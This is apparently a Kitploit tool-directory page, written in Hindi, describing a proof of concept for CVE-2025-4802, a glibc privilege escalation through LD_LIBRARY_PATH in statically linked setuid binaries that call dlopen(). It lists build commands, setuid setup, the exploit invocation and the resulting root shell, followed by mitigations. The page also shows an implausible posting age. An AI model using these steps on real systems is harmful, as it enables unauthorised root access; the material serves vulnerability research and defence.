Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-4802-Proof-of-Concept — dlopen के साथ LD_LIBRARY_PATH के प्रति संवेदनशील स्थिर रूप से संकलित setuid बाइनरी के लिए Proof of Concept | Kitploit
उपकरण/GitHubGitHub/betizzel/cve-2025-4802-proof-of-concept
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणलर्निंग और शिक्षाबाइनरी शोषण
GitHubbetizzel/cve-2025-4802-proof-of-concept

CVE-2025-4802-Proof-of-Concept

dlopen के साथ LD_LIBRARY_PATH के प्रति संवेदनशील स्थिर रूप से संकलित setuid बाइनरी के लिए Proof of Concept

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
217 महीने पहलेअभी तक समीक्षित नहीं

CVE-2025-4802 — प्रूफ़ ऑफ़ कॉन्सेप्ट

⚠️ अस्वीकरण: यह रिपॉज़िटरी केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए है। इस एक्सप्लॉइट का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट अनुमति नहीं है। दुरुपयोग कानूनों और विनियमों का उल्लंघन कर सकता है।

CVE सारांश

फ़ील्डविवरण
CVE IDCVE-2025-4802
प्रभावित सॉफ़्टवेयरGNU C Library (glibc)
प्रभावित संस्करण2.27 – 2.38
भेद्यता प्रकारअविश्वसनीय LD_LIBRARY_PATH के माध्यम से प्रिविलेज एस्केलेशन
हमला वेक्टरस्थानीय

विवरण

GNU C Library (glibc) संस्करण 2.27 से 2.38 में एक भेद्यता एक हमलावर को स्टैटिकली कंपाइल किए गए setuid बाइनरीज़ में LD_LIBRARY_PATH एनवायरनमेंट वेरिएबल का शोषण करने की अनुमति देती है जो dlopen() को कॉल करते हैं।

सामान्यतः, डायनामिक लिंकर setuid प्रोग्रामों के लिए LD_LIBRARY_PATH को सैनिटाइज़ करता है। हालाँकि, स्टैटिकली कंपाइल किए गए बाइनरीज़ डायनामिक लिंकर को पूरी तरह से बायपास कर देते हैं, इसलिए LD_LIBRARY_PATH कभी साफ़ नहीं किया जाता। जब ऐसी बाइनरी dlopen() को कॉल करती है (सीधे, या setlocale() या getaddrinfo() जैसे NSS फ़ंक्शनों के माध्यम से अप्रत्यक्ष रूप से), तो glibc हमलावर-नियंत्रित LD_LIBRARY_PATH का उपयोग करके शेयर्ड लाइब्रेरीज़ को रिज़ॉल्व करता है, जिससे उन्नत विशेषाधिकारों के साथ मनमाना कोड निष्पादन संभव हो जाता है।

यह कैसे काम करता है

  1. एक स्टैटिकली कंपाइल की गई setuid-root बाइनरी नाम से (पूर्ण पथ नहीं) एक शेयर्ड ऑब्जेक्ट लोड करने के लिए dlopen("myso.so", ...) को कॉल करती है।
  2. चूँकि बाइनरी स्टैटिकली लिंक की गई है, डायनामिक लिंकर (ld-linux.so) कभी नहीं चलता, इसलिए LD_LIBRARY_PATH सैनिटाइज़ नहीं किया जाता।
  3. एक हमलावर एक दुर्भावनापूर्ण शेयर्ड ऑब्जेक्ट (myso.so) बनाता है जो वही hello() सिंबल एक्सपोर्ट करता है लेकिन एक रूट शेल स्पॉन करता है।
  4. हमलावर LD_LIBRARY_PATH को दुर्भावनापूर्ण लाइब्रेरी वाली डायरेक्टरी की ओर इंगित करने के लिए सेट करता है।
  5. जब setuid बाइनरी चलती है, तो यह वैध लाइब्रेरी के बजाय हमलावर की लाइब्रेरी लोड करती है, जिससे रूट के रूप में मनमाना कोड निष्पादित होता है।

रिपॉज़िटरी संरचना

root@kitploit:~
.
├── main.c                          # Vulnerable setuid binary source
├── myso.c                          # Legitimate shared object (safe)
├── evil_library/
│   └── evilso.c                    # Malicious shared object (spawns root shell)
├── proof_of_concept_screenshot.png # Terminal screenshot of the exploit
├── proof_of_concept_video.mp4      # Video walkthrough
├── Makefile                        # Build automation
└── README.md

पूर्वापेक्षाएँ

  • OS: Fedora 39 (या कोई भी Linux डिस्ट्रो जिसमें भेद्य glibc हो)
  • glibc संस्करण: 2.27 – 2.38 (ldd --version से जाँचें)
  • पैकेज: gcc, make
  • setuid बिट सेट करने के लिए रूट एक्सेस

पुनरुत्पादन चरण

1. सब कुछ बिल्ड करें

root@kitploit:~
make all

या मैन्युअल रूप से:

root@kitploit:~
# Build the legitimate shared object
gcc -shared -o myso.so -fPIC myso.c

# Build the vulnerable binary (statically linked)
gcc -static -o main main.c -ldl

# Build the malicious shared object
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c

2. setuid बिट सेट करें (रूट आवश्यक)

root@kitploit:~
sudo chown root:root main
sudo chmod u+s main

3. सामान्य रूप से चलाएँ (सुरक्षित व्यवहार)

root@kitploit:~
./main

अपेक्षित आउटपुट:

root@kitploit:~
 BEGINNING OF MAIN
Hello from the safe shared object!

 END OF MAIN

4. LD_LIBRARY_PATH के साथ शोषण करें (दुर्भावनापूर्ण व्यवहार)

root@kitploit:~
LD_LIBRARY_PATH=./evil_library ./main

अपेक्षित आउटपुट:

root@kitploit:~
 BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root

बाइनरी वैध लाइब्रेरी के बजाय evil_library/ से हमलावर की myso.so लोड करती है, जिससे एक रूट शेल स्पॉन होता है।

प्रूफ़ ऑफ़ कॉन्सेप्ट

Proof of Concept Screenshot

एक वीडियो वॉकथ्रू भी उपलब्ध है: proof_of_concept_video.mp4

शमन

  • glibc को पैच किए गए संस्करण (> 2.38) में अपग्रेड करें
  • dlopen() का उपयोग करने वाली setuid बाइनरीज़ के लिए स्टैटिक लिंकिंग से बचें
  • dlopen() कॉल में केवल लाइब्रेरी नामों के बजाय पूर्ण पथ का उपयोग करें
  • dlopen() को कॉल करने से पहले विशेषाधिकार छोड़ें
  • कंपाइलर/लिंकर हार्डनिंग फ़्लैग्स का उपयोग करें और जहाँ संभव हो setuid से बचें

संसाधन

  • NVD — CVE-2025-4802
टूल डाउनलोड करें